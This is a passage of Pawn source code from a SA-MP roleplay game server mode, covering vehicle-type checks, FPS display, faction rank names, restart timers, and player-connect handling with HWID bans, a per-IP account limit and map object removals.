if((carid == sp1) || (carid == sp2) || (carid == sp3) || (carid == sp4) || (carid == sp5))
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAllCars(carid)
{
	if(carid >= 1 || carid <= 2000)
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsASRent(carid)
{
	if(carid >= 102 || carid <= 110)
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsABike(carid)
{
	new mod = GetVehicleModel(carid);
	if(mod == 509 || mod == 481 || mod == 510)
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
function IsaTruckCar(carid)
{
	if((carid == trucarx1) || (carid == trucarx2) || (carid == trucarx3) || (carid == trucarx4) || (carid == trucarx5) || (carid == trucarx6) || (carid == trucarx7) || (carid == trucarx7) || (carid == trucarx8) || (carid == trucarx9) || (carid == trucarx10) || (carid == trucarx11) || (carid == trucarx12)
	|| (carid == trucarx13) || (carid == trucarx14) || (carid == trucarx15) || (carid == trucarx16) || (carid == trucarx17) || (carid == trucarx18) || (carid == trucarx19) || (carid == trucarx20) || (carid == trucarx21) || (carid == trucarx22) || (carid == trucarx23) || (carid == trucarx24) || (carid == trucarx25)
	|| (carid == trucarx26) || (carid == trucarx27))
	{
	   return 1;
	}
	return 0;
}
function IsABusCar(carid)
{
	if((carid == buscarx1) || (carid == buscarx2) || (carid == buscarx3) || (carid == buscarx4) || (carid == buscarx5) || (carid == buscarx6) || (carid == buscarx7) || (carid == buscarx7) || (carid == buscarx8) || (carid == buscarx9) || (carid == buscarx10) || (carid == buscarx11) || (carid == buscarx12) ||
		(carid == buscarx13) || (carid == buscarx14) || (carid == buscarx15) || (carid == buscarx16))
	{
	   return 1;
	}
	return 0;
}
function IsANewsCar(carid)
{
	if((carid == newsrpx1) || (carid == newsrpx2) || (carid == newsrpx3) || (carid == newsrpx4) || (carid == newsrpx5) || (carid == newsrpx6) || (carid == newsrpx7) || (carid == newsrpx8) || (carid == newsrpx9) || (carid == newsrpx10) || (carid == newsrpx11)
	|| (carid == newsrpx12))
	{
	   return 1;
	}
	return 0;
}
function IsATaxiCar(carid)
{
	if((carid == taxicarx1) || (carid == taxicarx2) || (carid == taxicarx3) || (carid == taxicarx4) || (carid == taxicarx5) || (carid == taxicarx6) || (carid == taxicarx7) || (carid == taxicarx8) || (carid == taxicarx9) || (carid == LuxTaxi2)
	|| (carid == taxicarx10) || (carid == taxicarx11) || (carid == taxicarx12) || (carid == taxicarx13) || (carid == taxicarx14) || (carid == taxicarx15) || (carid == taxicarx16) || (carid == taxicarx17) || (carid == LuxTaxi1))
	{
	   return 1;
	}
	return 0;
}
function IsJobMechanicCar(carid)
{
	if((carid == jcarx1) || (carid == jcarx2) || (carid == jcarx3))
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
function trashcar(carid)
{
	if((carid == trcarx1) || (carid == trcarx2) || (carid == trcarx3) || (carid == trcarx4) || (carid == trcarx5) || (carid == trcarx6) || (carid == trcarx7) || (carid == trcarx7) || (carid == trcarx8) || (carid == trcarx9))
	{
	   return 1;
	}
	return 0;
}
/*
new Float:xcamera[MAX_PLAYERS];

forward checksobit(playerid);
public checksobit(playerid)
{
 SetPlayerSkin(playerid,170);
 SetPlayerInterior(playerid, 0);
 SetPlayerVirtualWorld(playerid, 0);
 GameTextForPlayer(playerid, "~w~Your Account Is Loading",2000,5);
 Mahal[playerid] = 9999;
 TooHouse[playerid] = 9999;
 TooBiz[playerid] = 9999;
 SetPlayerPos(playerid, 1450.7118, -1086.4741, 213.2708);
 SetCameraBehindPlayer(playerid);
 TogglePlayerControllable(playerid,1);
 SetTimerEx("checksobit2", 2000, false, "i", playerid);
}
forward checksobit2(playerid);
public checksobit2(playerid)
{
 new Float:x,Float:y,Float:z;
 GameTextForPlayer(playerid, "~w~Your Account Is Loading",2000,5);
 GetPlayerCameraFrontVector(playerid, x, y, z);
 xcamera[playerid] = z;
 SetTimerEx("checksobit3", 3000, false, "i", playerid);
}
forward checksobit3(playerid);
public checksobit3(playerid)
{
 new Float:x,Float:y,Float:z;
 GetPlayerCameraFrontVector(playerid, x, y, z);
 if(xcamera[playerid] == z)
 {
 TogglePlayerControllable(playerid,1);
 SpawnPlayer(playerid);
 ttss[playerid] = 0;
 }
 else
 {
 new stringo[256];
 new cheate[64];
 SCM(playerid,COLOR_RED,"[Anti-Cheat] Cheat founded , please uninstall it");
 GetPlayerName(playerid, cheate, sizeof(cheate));
 format(stringo, 256, "AdmWarning : %s have cheats (Sobeit) !", cheate);
 ABroadCast(COLOR_AdminWarn,stringo,1);
 SetTimerEx("kk3", 1000, false, "i", playerid);
 }
}
forward kk3(playerid);
public kk3(playerid)
{
Kick(playerid);
}

*/
/*----------------------------------------------------------------------------*/
//forward str_replace(const needle[], const replace[], haystack[], needlen = sizeof(needle), haylen = sizeof(haystack));
stock str_replace(const needle[], const replace[], haystack[], needlen = sizeof(needle), haylen = sizeof(haystack))
{
	new
		count,
		index = strfind(haystack, needle, true);
	new len = strlen(needle);
	while(index != -1)
	{

		strdel(haystack, index, index + (needlen - (10 - len)));
		strins(haystack, replace, index, haylen);

		index = strfind(haystack, needle, true);
		count++;
	}
	return count;
}
public update(playerid)
{
if(FCNPC_IsValid(playerid)) return 1;
	   new drunknew;
	   drunknew = GetPlayerDrunkLevel(playerid);
	   new ping[16];
	   format(ping, sizeof(ping), "PING: %d MS", GetPlayerPing(playerid));
	   //PlayerTextDrawSetString(playerid, RangerPing[playerid], ping);// :D dige in kire kharo neshoon nade
//        format(ping, sizeof(ping), "FPS: %d", GetPlayerFPS(playerid));
//        PlayerTextDrawSetString(playerid, RangerFps[playerid], ping);
	   if (drunknew < 100) {
	   SetPlayerDrunkLevel(playerid, 2000);
	   } else {

	   if (pDrunkLevelLast[playerid] != drunknew) {

		  new wfps = pDrunkLevelLast[playerid] - drunknew;

		  if ((wfps > 0) && (wfps < 200))
			 pFPS[playerid] = wfps;

		  pDrunkLevelLast[playerid] = drunknew;
		  }
		  }
		  if(FPSShow[playerid] == 1)
		  {
				if(pFPS[playerid] < 29)
				{
				  new pings[16];
				  format(pings, sizeof(pings), "~r~%d", pFPS[playerid]);
				  PlayerTextDrawSetString(playerid, FPS[playerid], pings);
				}
				if(pFPS[playerid] < 59 && pFPS[playerid] >= 30)
				{
				  new pings[16];
				  format(pings, sizeof(pings), "~y~%d", pFPS[playerid]);
				  PlayerTextDrawSetString(playerid, FPS[playerid], pings);
				}
				if(pFPS[playerid] >= 60)
				{
				  new pings[16];
				  format(pings, sizeof(pings), "~g~~h~%d", pFPS[playerid]);
				  PlayerTextDrawSetString(playerid, FPS[playerid], pings);
				}

}


		 //new Float:HP;
		 //GetPlayerHealth(playerid,HP);
		 /*
			 if(HPShow[playerid] == 1)
				{
					  if(GodmodeFeature[playerid] == false)
					  {
					 new Float:Health;
				  GetPlayerHealth(playerid, Health);
				  new pingss[128];
				  format(pingss, sizeof(pingss), "%.2f", Health);
				  PlayerTextDrawSetString(playerid, HP_TD[playerid], pingss);
				  }
				  else
				  {
				  new pingsss[128];
				  format(pingsss, sizeof(pingsss), "GOD MODE");
				  PlayerTextDrawSetString(playerid, HP_TD[playerid], pingsss);
				  }
				}
				*/





	   return 1;
}


stock healupd(playerid)
{
	if(HPShow[playerid] == 1)
	{
		new str[8];
		if(!GodmodeFeature[playerid])
		{
			format(str, sizeof(str), "%.2f", HEALTH[playerid]);
			PlayerTextDrawSetString(playerid, HP_TD[playerid], str);
		}
		else
		{
			PlayerTextDrawSetString(playerid, HP_TD[playerid], "GOD MODE");
		}
	}
	return 1;
}
stock sleepgodd(playerid)
{
	if(InSleep[playerid] != 0)
	{
		SetPlayerKoon(true, playerid, SleepHealth[playerid])
	}
	return 1;
}
forward activetim(playerid);
public activetim(playerid)
{
if(siyoma[playerid] == 1)
{
siyoma[playerid] = 0;
return 1;
}
/*
	  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
		return 1;
	  }
	  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
		return 1;
	  }
	  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] == 0)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
		return 1;
	  }
	  if(PINFO[playerid][pAdmin] >= 1 && PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] == 0)
	  {
		 if(ASAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
		return 1;
	  }
	  if(PINFO[playerid][pAdmin] >= 5)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
		return 1;
	  }
	  */
	  /*
	  if(PINFO[playerid][pAdmin] >= 5 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
	  }
	  if(PINFO[playerid][pAdmin] >= 5 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
	  }
	  if(PINFO[playerid][pAdmin] >= 5 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] == 0)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
	  }
	  if(PINFO[playerid][pAdmin] >= 5 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] == 0)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
	  }
	  */
	  /*
	  if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(HSAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
		return 1;
	  }
	  if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pLeader] == 0 && PINFO[playerid][pHelper] >= 1)
	  {
		 if(HSAR[playerid] == 1 && AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
		return 1;
	  }
	  if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pLeader] >= 1 && PINFO[playerid][pHelper] == 0)
	  {
		 if(AFK[playerid] == 0 && InSleep[playerid] == 0)
		 {
			PlayerInfo[playerid][pActSec] += 1;
			SaveKonVal(playerid, "pActSec", PINFO[playerid][pActSec]);
		 }
		return 1;
	  }
*/



	   return 1;
}




forward svupdate(playerid);
public svupdate(playerid)
{
for(new i = 0;i<Akharish;i++)
{
   if(ShowedForMEUPD[i] == 0)
   {
   TextDrawShowForPlayer(i, TDRestart);
   ShowedForMEUPD[i] = 1;
   }
}
   if(RestartTimer != 0 && SVRestart == 1)
   {
   RestartTimer -= 1;
   new pingsz[128];
   format(pingsz, sizeof(pingsz), "The server will restart in %d seconds", RestartTimer);
   TextDrawSetString(TDRestart, pingsz);
   printf("** The server will restart in %d second(s) **",RestartTimer);
   SaveAccounts();
   }
   return 1;
}
/*
public warupdate(playerid)
{
	 for( new i; i < MAX_PLAYERS; i++ )
	 {
		  if(OnWar[i] != 9999)
		  {
				new KA[512],DeaA[512],newtext[256];

				format(KA, sizeof(KA), "Kills: %d", PlayerInfo[i][pKillW]);
				PlayerTextDrawSetString(i, WarK, KA);

				   format(DeaA, sizeof(DeaA), "Deaths: %d", PlayerInfo[i][pDeathW]);
				   PlayerTextDrawSetString(i, WarDea, DeaA);

					  format(newtext, sizeof(newtext), "Score: %d", PlayerInfo[i][pKillW] - PlayerInfo[i][pDeathW]);
					  PlayerTextDrawSetString(i, WarS, newtext);
		  }
	 }
   return 1;
}
*/
/*----------------------------------------------------------------------------*/
/*public OnPlayerSAMPPJoin(playerid, bool:has_plugin) {
//SetPlayerBlurIntensity(playerid, 80);
//SetPlayerHUDComponentColour(playerid, HUD_COLOUR_HEALTH, COLOR_YELLOW);
return 1;
}*/
CheckClanTag(playerid)
{
	new PlayerName[MAX_PLAYER_NAME+1],idx=0;
	GetPlayerName(playerid,PlayerName,MAX_PLAYER_NAME+1);
	if(strfind(PlayerName,"[")==-1||strfind(PlayerName,"]")==-1)return 1;
	for(new i=0;i<MAX_CLANS;i++)
	{
        if(isnull(DynamicClans[i][cTag])||DynamicClans[i][cExpire]==0)continue;
		idx=strfind(PlayerName,DynamicClans[i][cTag]);
		if(idx!=-1)
		{
			strdel(PlayerName,idx-1,idx+strlen(DynamicClans[i][cTag])+1);
			if(strlen(PlayerName)<3)return 1;
			SetPlayerName(playerid,PlayerName);
			new str[100];
			format(str,sizeof(str),"We've cleared your clan tag, you used a clan tag before/after your name ( [%s] ).",DynamicClans[i][cTag]);
			SCM(playerid,COLOR_LIGHTRED,str);
			SCM(playerid,COLOR_LIGHTRED,"We're reloading you...");
			return 1;
		}
	}
	return 1;
}
stock GetPlayerRank(playerid)
{
new facid=GetPlayerFactionID(playerid), rank=PINFO[playerid][pRank], ranktxt[30];ranktxt="Rank";
if(facid==1)
{
if(rank==1){ranktxt="Soldier";}
else if(rank==2){ranktxt="Police Officer";}
else if(rank==3){ranktxt="Sergeant";}
else if(rank==4){ranktxt="Captain";}
else if(rank==5){ranktxt="Colonel";}
else if(rank==6){ranktxt="Chief";}
else if(rank==7){ranktxt="PD Leader";}
}
else if(facid==2)
{
if(rank==1){ranktxt="New Agent Trainee";}
else if(rank==2){ranktxt="Special Agent";}
else if(rank==3){ranktxt="Supervisory Special Agent";}
else if(rank==4){ranktxt="Unit Chief";}
else if(rank==5){ranktxt="Deputy Director";}
else if(rank==6){ranktxt="Director";}
else if(rank==7){ranktxt="FBI Leader";}
}
else if(facid==3)
{
if(rank==1){ranktxt="Private";}
else if(rank==2){ranktxt="Corporal";}
else if(rank==3){ranktxt="Sergeant";}
else if(rank==4){ranktxt="Master Sergeant";}
else if(rank==5){ranktxt="Sergeant Major";}
else if(rank==6){ranktxt="Marshal";}
else if(rank==7){ranktxt="NG Leader";}
}
else if(facid==4)
{
if(rank==1){ranktxt="Private";}
else if(rank==2){ranktxt="Candidate Fire Paramedic";}
else if(rank==3){ranktxt="Fire Paramedic";}
else if(rank==4){ranktxt="Paramedic in charge";}
else if(rank==5){ranktxt="Ambulance Commander";}
else if(rank==6){ranktxt="Paramedic Field";}
else if(rank==7){ranktxt="Chief Paramedic";}
}
else if(facid==5)
{
if(rank==1){ranktxt="Piccioto";}
else if(rank==2){ranktxt="Soldato";}
else if(rank==3){ranktxt="Sgarrista";}
else if(rank==4){ranktxt="Caporegime";}
else if(rank==5){ranktxt="Vicario";}
else if(rank==6){ranktxt="Consigliere";}
else if(rank==7){ranktxt="Don The Silence";}
}
else if(facid==6)
{
if(rank==1){ranktxt="Piccioto";}
else if(rank==2){ranktxt="Soldato";}
else if(rank==3){ranktxt="Sgarrista";}
else if(rank==4){ranktxt="Caporegime";}
else if(rank==5){ranktxt="Vicario";}
else if(rank==6){ranktxt="Consigliere";}
else if(rank==7){ranktxt="Don The Killers";}
}
else if(facid==7)
{
if(rank==7){ranktxt="Mayor";}
}
else if(facid==8)
{
if(rank==1){ranktxt="FreeLancer";}
else if(rank==2){ranktxt="Marksman";}
else if(rank==3){ranktxt="Agent";}
else if(rank==4){ranktxt="Special Agent";}
else if(rank==5){ranktxt="Vice-Director";}
else if(rank==6){ranktxt="Co-Director";}
else if(rank==7){ranktxt="Director";}
}
else if(facid==9)
{
if(rank==1){ranktxt="Intern";}
else if(rank==2){ranktxt="Intern";}
else if(rank==3){ranktxt="Local Reporter";}
else if(rank==4){ranktxt="Local Editor";}
else if(rank==5){ranktxt="Network Anchor";}
else if(rank==6){ranktxt="Network Editor";}
else if(rank==7){ranktxt="Network Producer";}
}
else if(facid==10)
{
if(rank==1){ranktxt="Trainee";}
else if(rank==2){ranktxt="Trainee";}
else if(rank==3){ranktxt="Taxi Rookie";}
else if(rank==4){ranktxt="Cabbie";}
else if(rank==5){ranktxt="Dispatcher";}
else if(rank==6){ranktxt="Shift Supervisor";}
else if(rank==7){ranktxt="Taxi Company Owner";}
}
else if(facid==11)
{
if(rank==1){ranktxt="Trainee";}
else if(rank==2){ranktxt="Trainee";}
else if(rank==3){ranktxt="Instructor";}
else if(rank==4){ranktxt="Senior Instructor";}
else if(rank==5){ranktxt="Manager";}
else if(rank==6){ranktxt="Under Boss";}
else if(rank==7){ranktxt="Boss";}
}
else if(facid==12)
{
if(rank==1){ranktxt="Piccioto";}
else if(rank==2){ranktxt="Soldato";}
else if(rank==3){ranktxt="Sgarrista";}
else if(rank==4){ranktxt="Caporegime";}
else if(rank==5){ranktxt="Vicario";}
else if(rank==6){ranktxt="Consigliere";}
else if(rank==7){ranktxt="Don Dangerous Tiger";}
}
else if(facid==13)
{
if(rank==1){ranktxt="Piccioto";}
else if(rank==2){ranktxt="Soldato";}
else if(rank==3){ranktxt="Sgarrista";}
else if(rank==4){ranktxt="Caporegime";}
else if(rank==5){ranktxt="Vicario";}
else if(rank==6){ranktxt="Consigliere";}
else if(rank==7){ranktxt="Don Legendary Men";}
}
else if(facid==14)
{
if(rank==1){ranktxt="Piccioto";}
else if(rank==2){ranktxt="Soldato";}
else if(rank==3){ranktxt="Sgarrista";}
else if(rank==4){ranktxt="Caporegime";}
else if(rank==5){ranktxt="Vicario";}
else if(rank==6){ranktxt="Consigliere";}
else if(rank==7){ranktxt="Don The Fast N Furious";}
}
else if(facid==15)
{
if(rank==1){ranktxt="Piccioto";}
else if(rank==2){ranktxt="Soldato";}
else if(rank==3){ranktxt="Sgarrista";}
else if(rank==4){ranktxt="Caporegime";}
else if(rank==5){ranktxt="Vicario";}
else if(rank==6){ranktxt="Consigliere";}
else if(rank==7){ranktxt="Don Storm Men";}
}
else if(facid==16)
{
if(rank==1){ranktxt="Trainee";}
else if(rank==2){ranktxt="Trainee";}
else if(rank==3){ranktxt="Mechanic";}
else if(rank==4){ranktxt="Senior Mechanic";}
else if(rank==5){ranktxt="Manager";}
else if(rank==6){ranktxt="Co-Leader";}
else if(rank==7){ranktxt="Leader";}
}
else if(facid==17)
{
if(rank==1){ranktxt="New Hacker";}
else if(rank==2){ranktxt="Trial Hacker";}
else if(rank==3){ranktxt="Hacker";}
else if(rank==4){ranktxt="Perfect Hacker";}
else if(rank==5){ranktxt="Old Hacker";}
else if(rank==6){ranktxt="Private Hacker";}
else if(rank==7){ranktxt="Hackers Leader";}
}
else
{
ranktxt="Rank";
}
return ranktxt;
}
stock GetPlayerHWID(playerid)
{
new hwwww[45];
gpci(playerid, hwwww, sizeof(hwwww));
return hwwww;
}
function CheckHWBanned(playerid)
{
new query[512], hwnick[25], frmtr[144], hwdate[80], hwband[60], hwbndnm[30];
mysql_format(handle,query,sizeof(query),"SELECT * FROM `hwbans` WHERE `HWBanned`='%e'", GetPlayerHWID(playerid));
new Cache:result=mysql_query(handle,query);
if(cache_num_rows()!=0)
{
NabayadElamShe[playerid]=1;
cache_get_field_content(0,"HWBanner",hwnick,handle,sizeof(hwnick));
cache_get_field_content(0,"HWDate",hwdate,handle,sizeof(hwdate));
cache_get_field_content(0,"HWBanned",hwband,handle,sizeof(hwband));
cache_get_field_content(0,"HWBannedName",hwbndnm,handle,sizeof(hwbndnm));
format(frmtr, sizeof(frmtr), "Your HWID is banned by Admin {ffffff}%s{ff6347} on {ffffff}%s", hwnick, hwdate);
SCM(playerid, COLOR_LIGHTRED, frmtr);
format(frmtr, sizeof(frmtr), "Banned player with this HWID: {ffffff}%s", hwbndnm);
SCM(playerid, COLOR_LIGHTRED, frmtr);
format(frmtr, sizeof(frmtr), "HWID: {ffffff}%s", hwband);
SCM(playerid, COLOR_LIGHTRED, frmtr);
SCM(playerid, COLOR_LIGHTRED, "If you think this is wrong, report it to admins.");
SCM(playerid, COLOR_LIGHTRED, "You have been kicked.");
KickPlayerMessage(playerid);
}
cache_delete(result);
}
forward update(playerid);
public OnPlayerConnect(playerid)
{
if(FCNPC_IsValid(playerid)) return 1;
CheckHWBanned(playerid);
//SetVehicleParamsForPlayer(VehKeBayadLockShe1,playerid,0,1);SetVehicleParamsForPlayer(VehKeBayadLockShe2,playerid,0,1);
CheckMultiAccount(playerid);
CheckClanTag(playerid);
//CheckMultiAccount(playerid);
new connecting_ip[32+1];
	GetPlayerIp(playerid,connecting_ip,32);
	new num_players_on_ip = GetNumberOfPlayersOnThisIP(connecting_ip);

	if(num_players_on_ip > 5)
	{
			new alistr[256];
			format(alistr, 256, "You can't connect +5 accounts with same IP.");
			KickWithMessage(playerid, COL_SYN, alistr);
			//Ban(playerid);
	}
if(playerid!=Boss&&playerid!=Angel)
{
NabayadElamShe[playerid]=0;
new queryunk[256];
mysql_format(handle,queryunk,sizeof(queryunk),"SELECT * FROM `users` WHERE `pName`='%e'", RPName(playerid));
new Cache:result=mysql_query(handle,queryunk);
NabayadElamShe[playerid]=cache_get_field_content_int(0,"pBanned");
cache_delete(result);
if(NabayadElamShe[playerid]==0)
{
	   if(!InvalidClient[playerid])
	   {
	   	new myver[40];
	   	new con[144];
		GetPlayerVersion(playerid, myver, sizeof(myver));
	   format(con, sizeof(con), "%s(%i) has joined the server (Official SA-MP %s)", RPName(playerid), playerid, myver);
		if(strlen(myver)>=1)SendAdminMessage2(COLOR_SINAGHERMEZ, con);
		}
		if(InvalidClient[playerid])
		{
		new myver[40];
		new con1[144];
		GetPlayerVersion(playerid, myver, sizeof(myver));
	   format(con1, sizeof(con1), "%s(%i) has joined the server (Not Official SA-MP Version)", RPName(playerid), playerid);
		if(strlen(myver)>=1)SendAdminMessage2(COLOR_SINAGHERMEZ, con1);
		}
}
}
CreatePlayerTextDraws( playerid );
ResetTuningInfo( playerid );
SnowObject[playerid]=0;
if(Snow==true)
{
SnowObject[playerid]=CreateDynamicObject(18864,9999,9999,-200,0,0,50);
}
if(IsAdv(RPName(playerid))||IsThisTextBad(RPName(playerid))){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) has joined server with a bad name.",RPName(playerid), playerid);AdminWarn(adwn);}
	updatetimer[playerid] = SetTimerEx("update", 500, true, "d", playerid);
	activetime[playerid] = SetTimerEx("activetim", 1000, true, "d", playerid);


// Prison Exterior
	RemoveBuildingForPlayer(playerid, 3682, -1029.3438, -702.8125, 54.8516, 0.25);
	RemoveBuildingForPlayer(playerid, 17339, -1041.6641, -728.3359, 44.9531, 0.25);
	RemoveBuildingForPlayer(playerid, 17340, -1072.8281, -620.6328, 40.2969, 0.25);
	RemoveBuildingForPlayer(playerid, 17341, -1083.4766, -687.9453, 31.0234, 0.25);
	RemoveBuildingForPlayer(playerid, 17342, -1107.0703, -620.8906, 40.2969, 0.25);
	RemoveBuildingForPlayer(playerid, 17343, -1055.5313, -617.6094, 82.6094, 0.25);
	RemoveBuildingForPlayer(playerid, 17344, -1056.0469, -632.4141, 82.7891, 0.25);
	RemoveBuildingForPlayer(playerid, 17345, -1026.7500, -705.1719, 82.4063, 0.25);
	RemoveBuildingForPlayer(playerid, 17346, -1014.3594, -703.8828, 83.2109, 0.25);
	RemoveBuildingForPlayer(playerid, 17347, -1055.1094, -603.5703, 61.8203, 0.25);
	RemoveBuildingForPlayer(playerid, 17348, -1004.2969, -704.1484, 63.5000, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1114.4531, -595.7969, 36.2578, 0.25);
	RemoveBuildingForPlayer(playerid, 17013, -1107.0703, -620.8906, 40.2969, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1107.3906, -595.8281, 36.2578, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1101.1250, -595.8594, 36.2578, 0.25);
	RemoveBuildingForPlayer(playerid, 17014, -1041.6641, -728.3359, 44.9531, 0.25);
	RemoveBuildingForPlayer(playerid, 17024, -1026.7500, -705.1719, 82.4063, 0.25);
	RemoveBuildingForPlayer(playerid, 3673, -1029.3438, -702.8125, 54.8516, 0.25);
	RemoveBuildingForPlayer(playerid, 17001, -1083.4766, -687.9453, 31.0234, 0.25);
	RemoveBuildingForPlayer(playerid, 17454, -1089.9297, -684.7891, 44.0859, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1037.4219, -694.1016, 36.1172, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1030.3594, -694.1406, 36.1172, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1024.0938, -694.1719, 36.1172, 0.25);
	RemoveBuildingForPlayer(playerid, 17022, -1004.2969, -704.1484, 63.5000, 0.25);
	RemoveBuildingForPlayer(playerid, 17023, -1014.3594, -703.8828, 83.2109, 0.25);
	RemoveBuildingForPlayer(playerid, 3674, -1020.1094, -702.4375, 57.3359, 0.25);
	RemoveBuildingForPlayer(playerid, 3637, -992.2891, -711.9766, 38.9922, 0.25);
	RemoveBuildingForPlayer(playerid, 17017, -1056.0469, -632.4141, 82.7891, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1043.6406, -632.3281, 36.2578, 0.25);
	RemoveBuildingForPlayer(playerid, 17021, -1072.8281, -620.6328, 40.2969, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1043.6406, -626.0625, 36.2578, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1065.9375, -595.8594, 36.2578, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1079.2656, -595.7969, 36.2578, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1072.2031, -595.8281, 36.2578, 0.25);
	RemoveBuildingForPlayer(playerid, 17015, -1055.1094, -603.5703, 61.8203, 0.25);
	RemoveBuildingForPlayer(playerid, 17016, -1055.5313, -617.6094, 82.6094, 0.25);
	RemoveBuildingForPlayer(playerid, 3643, -1043.6406, -619.0000, 36.2578, 0.25);




// Neon Shop
RemoveBuildingForPlayer(playerid, 3260, -1431.0234, -968.3203, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1437.0391, -968.3203, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1437.9766, -967.2344, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1435.0391, -968.3203, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1433.0313, -968.3203, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1427.0391, -968.3203, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1429.0391, -968.3203, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1425.0391, -968.3203, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1424.0391, -967.2969, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 17074, -1430.1328, -966.2266, 199.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1437.9766, -965.2344, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1437.9766, -963.2344, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1431.0313, -962.1016, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1433.0313, -962.1016, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1435.0391, -962.1016, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1437.0391, -962.1016, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1427.0391, -962.1016, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1429.0313, -962.1016, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1425.0391, -962.1016, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1423.0000, -962.2500, 200.8125, 0.25);
RemoveBuildingForPlayer(playerid, 3260, -1423.2969, -965.4609, 200.8125, 0.25);
// ----
ResetPlayerToys(playerid);
// ----
// Yaroo dare jagh mizane too interiore LS Atruim (1710.433715,-1669.379272,20.225049)
